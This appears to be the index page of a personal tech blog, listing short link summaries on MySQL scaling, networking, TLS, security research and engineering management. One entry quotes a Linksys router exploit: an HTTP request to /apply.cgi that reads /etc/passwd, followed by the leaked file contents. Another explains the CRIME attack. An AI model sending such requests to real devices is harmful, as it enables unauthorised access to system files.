Recent content on Konstantin Antselovich
Live Last read · last published · next check
At $WORK we were running a MySQL setup that required an unusually large number of concurrent connections. Most of them were idle. Only a few dozen connections were running queries. The total number of connections was around twelve thousand and was growing slowly. When the total number of connections reached close to 12,200, things started to break. New clients could no longer connect to the…
Happy New 2026 everyone! This site used to run on a very old WordPress instance. It worked, but it was not kept up to date; the Cloudflare proxy likely helped prevent it from being compromised. Updating WordPress in 2026 did not feel like a good use of time, so moving the blog to a static site made the most sense. Hugo was chosen because it is relatively common for static sites and integrates well…
http://www.quora.com/How-should-startups-handle-performance-reviews/ great opinions on dreaded APRs
http://blog.idonethis.com/managers-write/
https://moderncrypto.org/mail-archive/messaging/2014/000780.html - how does antispam currently work at large email providers - how would widespread E2E crypto affect this - what are the options for moving things to the client (and pros, cons) - is this feasible for email? - How do things change when moving from email to other sorts of async messaging (e.g. text messaging) or new protocols - i.e.…
https://en.wikipedia.org/wiki/Simpson's_paradox
https://istlsfastyet.com/ Published on Jul 24, 2014 “TLS has exactly one performance problem: not enough sites are using it. Everything else can and will be optimized. A hands on look at how to achieve 1-RTT handshakes, eliminate validation latency, and more.” Slides: bit.ly/fastTLS by Ilya Grigorik ( @ google) . See the bottom of the page on Nginx configs on how to improve TLS…
http://www.joelonsoftware.com/articles/fog0000000070.html A good old Joel article on why you shouldn’t not treat your engineers like pre-K kids.
https://securehomes.esat.kuleuven.be/~gacar/persistent/index.html
https://konstant1n.livejournal.com/10118.html Sullivan Ridge and Backbone Trail Loop ( Sullivan Ridge Fire road, Mulholland road, Fireroad 30 to The Hub, Backbone trail, J-Drop & back to Sullivan Ridge fire road ) My first GoPro cut!
http://www.slideshare.net/slidecomet/the-presenter-manifesto-8-distinctions-of-a-world-class-presenter
https://konstant1n.livejournal.com/9759.html At times I want to reach my home computer, so I had a dynamic DNS service that keeps a DNS record ( like myhomeip.dyndns.org) in sync with your home IP address that changes from time to time. I got fed up with free service from DynDNS: your record will disappear in 30 days unless you login into their site and “confirm” it. DynDNS annoys you…
https://konstant1n.livejournal.com/9482.html Originally posted by sergeydolya at Как делают французский коньяк Программа поездки напоминала что-то среднее между головокружительным алкогольным пике и марафонским забегом. Каждый день у нас было минимум два коньячных дома: дегустации начинались с самого утра, сменялись обедом или ужином под вино, а затем продолжались вновь. Однако, вопреки…
https://konstant1n.livejournal.com/9460.html Originally posted by drugoi at Paul Smith Underwear www.youtube.com/embed/8q9O9r4GTNA Реклама мужского нижнего белья марки Paul Smith. Absolutely Unbelievable. Слэклайнеры Антуан Моневиль и Танкред Меле. Респектище, вот это работа!
http://tech.slashdot.org/comments.pl?sid=4075617&cid=44531993 Interesting post on slashdot explaining why wifi (in general) sucks as a networking technology
http://graphics.wsj.com/PhonePlan/ very nice tool for comparing plans from different wireless providers
http://blog.risk.io/2013/08/stop-fixing-all-the-things-bsideslv/ Recent parer shows that it make sense to focus only on vulns that have ready exploits in metasploit and exploitdb
http://technet.microsoft.com/en-us/security/advisory/2876146 Recent security hole in wifi authentication – fix requires a roll-out of PKI (i.e. certificate-based auth ) for all devices . (Great ?! )
https://en.wikipedia.org/wiki/CRIME_(security_exploit) from http://tech.slashdot.org/story/13/07/09/1455200/ It works like this. You visit a site that has malicious JavaScript which sends a HTTPS request to some site (like your bank). This request will include whatever known plain-text that the JavaScript wants to send, plus any cookies you have stored for the target site, possibly including…
http://weis2007.econinfosec.org/papers/29.pdf Old (2007 ) paper by Charlie Miller about trading of 0-day exploits
http://blog.level3.com/culture/software-quality-be-careful-what-you-measure/ Notes from level3 communications about what to measure (and what not) in software development
http://blog.level3.com/culture/software-quality-be-careful-what-you-measure/ Notes from level3 communications about what to measure (and what not) in software development
http://smartbear.com/SmartBear/media/pdfs/best-kept-secrets-of-peer-code-review.pdf Book on code review from Smartbear – a maker of software for code review
http://smartbear.com/SmartBear/media/pdfs/best-kept-secrets-of-peer-code-review.pdf Book on code review from Smartbear – a maker of software for code review
http://asterfax.sourceforge.net/SpanDSP.html SpanDSP provides the core functionallity within Asterisk for sending and recieving faxes. spandsp is a library which provides many of the DSP functions needed for telephony. It is designed to be independent of the telephony platform itself. http://www.soft-switch.org/spandsp_faq/
http://www.wikileaks-forum.com/index.php/topic,19310.0.html original PRISM docs from wikileaks
http://urbanairship.com/blog/2010/10/05/centralized-logging-using-rsyslog/ Great post from Urban Airship about centralize logging with rsyslog (contains important details on how to deal with multi-line messages from java stack )
http://www.daedtech.com/how-to-keep-your-best-programmers Interesting post [but too long to my taste] about what motivates software developers and how it affects their career choices. ( see also this RSA Animation http://www.youtube.com/watch?v=u6XAPnuFjJc )
http://www.npac.com/number-portability/how-lnp-works In short: when phone call is made, phone switch checks a database to see if the called number has a secondary phone number (caller LNR), if yes, that number is used to route the call. LNP = Local Number Portability NPAC = Number portability administration center. LNR = Location Routing Number
http://lists.adiscon.net/pipermail/rsyslog/2011-September/028813.html example for centralize logging setup with rsyslog, taken from mailing list discussion
http://xxxl.co.za/?page_id=142 How to create dynamic VPN tunnel between a linux server and Mikrotik device. This is suitable if you want to create a tunnel between an EC2 instance and small office NOTE: Example does not provide encryption.
http://www.aosabook.org/en/index.html so called AOSA book. " Architects look at thousands of buildings during their training, and study critiques of those buildings written by masters. In contrast, most software developers only ever get to know a handful of large programs well—usually programs they wrote themselves—and never study the great programs of history. As a result, they repeat one…
http://katemats.com/assessing-technical-risks-for-startups-new-tech-leader-series/ Good check list from Kate Matsudaira.
https://miter.mit.edu/the-unexotic-underclass/ Excellent essay, very eloquent. I do not agree with all points, but this is definitely a worth a read.
https://konstant1n.livejournal.com/9143.html SQL Injection 101 – found on github ~75000 times ?! From reddit/LOLPHP To be fair: first page is about tests and SQL Injection example, the “real deal” starts from page 2 . And this is 2013!
http://www.sansay.com/sansay_products.htm SIP / H.232 SBC Product from Sensay (La Jolla, CA) , apparently used by Flowroute
https://forums.aws.amazon.com/thread.jspa?messageID=106616 ec2 instances can receive only tcp,udp or icmp traffic. So, for tunneling, use L2TP, PPTP, or OpenVPN
http://www.anchor.com.au/blog/2013/04/the-btrfs-backup-experiment/ Today we’re talking about our experience with btrfs, the next-gen Linux filesystem. btrfs has been maturing rapidly over the last few years and offers many compelling features for modern systems, so we’ve been putting it through its paces on some of our backup servers. How does it stack up? Read on!
https://github.com/richievos/remote_includes how assemble your pages from HTML partials on the client, front-end or CDN edge.
http://blog.hut8labs.com/coding-fast-and-slow.html software estimates from psychology and human behavior point of view
http://www.codinghorror.com/blog/2009/06/scaling-up-vs-scaling-out-hidden-costs.html blog post about scale up and scale out, and hidden costs introduced by administration licensing costs for proprietary software. “Last monday we upgraded our core database server after a power outage knocked the site offline. I haven’t touched this machine since 2005 so it was a major undertaking to do…
http://labs.spotify.com/2013/02/25/in-praise-of-boring-technology/ More often than not, the right tool for the job is piece of software that has been around for some time, with proven success. One example would be writing a backend service in Java or Python instead of Go or Node.JS. Another example would be storing data in MySQL or PostgreSQL instead of MongoDB or Riak.
http://highscalability.com/blog/2013/3/13/ironio-moved-from-ruby-to-go-28-servers-cut-and-colossal-clu.html sometimes language makes a difference ( i.e ruby is too low for a service stack )
http://bl.ocks.org/ricardobeat/raw/5343140/ Collection of great takes from Hacker News/YCombinator ppl. Full discussion https://news.ycombinator.com/item?id=5511466
http://bl.ocks.org/ricardobeat/raw/5343140/ Collection of great takes from Hacker News/YCombinator ppl. Full discussion https://news.ycombinator.com/item?id=5511466
http://www.cs.dartmouth.edu/~sergey/langsec/ The Language-theoretic approach (LANGSEC) regards the Internet insecurity epidemic as a consequence of ad hoc programming of input handling at all layers of network stacks, and in other kinds of software stacks. LANGSEC posits that the only path to trustworthy software that takes untrusted inputs is treating all valid or expected inputs as a formal…
http://www.cl.cam.ac.uk/~rja14/book.html Security Engineering , by Ross Andreson. ‘It’s beautiful. This is the best book on the topic there is’ Bruce Schneier
https://superevr.com/blog/2013/dont-use-linksys-routers/ the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change;_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nologin sshd:x:22:22::/var/empty:/sbin/nologin admin:x:1000:1000:Admin User:/tmp/home/admin:/bin/sh…
https://code.google.com/p/conemu-maximus5/ try this if you need a decent command line experience in windows
http://programmer.97things.oreilly.com/wiki/index.php/Contributions_Appearing_in_the_Book 97 Things Every Programmer Should Know project, pearls of wisdom for programmers collected from leading practitioners – the link contains list of articles from O’rielly book
